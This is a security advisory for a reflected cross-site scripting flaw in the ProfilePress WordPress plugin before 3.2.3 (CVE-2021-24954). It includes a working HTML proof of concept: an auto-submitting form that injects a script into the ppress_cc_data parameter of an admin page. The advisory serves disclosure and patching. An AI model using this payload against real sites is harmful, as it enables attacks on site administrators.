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ProfilePress < 3.2.3 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the ppress_cc_data parameter before outputting it back in an attribute of an admin dashboard page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=pp-content-protection&add=1" id="hack" method="POST">
      <input type="hidden" name="ppress_cc_data[title]" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html> 

Affects Plugins

wp-user-avatar
Fixed in version 3.2.3

References

CVE
CVE-2021-24954
URL
https://plugins.trac.wordpress.org/changeset/2626573/

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website
https://blog.szfszf.top
Submitter twitter
JrXnm
Verified

Yes

WPVDB ID
54ff0db8-1d9e-4e67-b71a-142a9e5ed851

Timeline

Publicly Published

2021-11-15 (about 1 years ago)

Added

2021-11-15 (about 1 years ago)

Last Updated

2022-09-26 (about 4 months ago)

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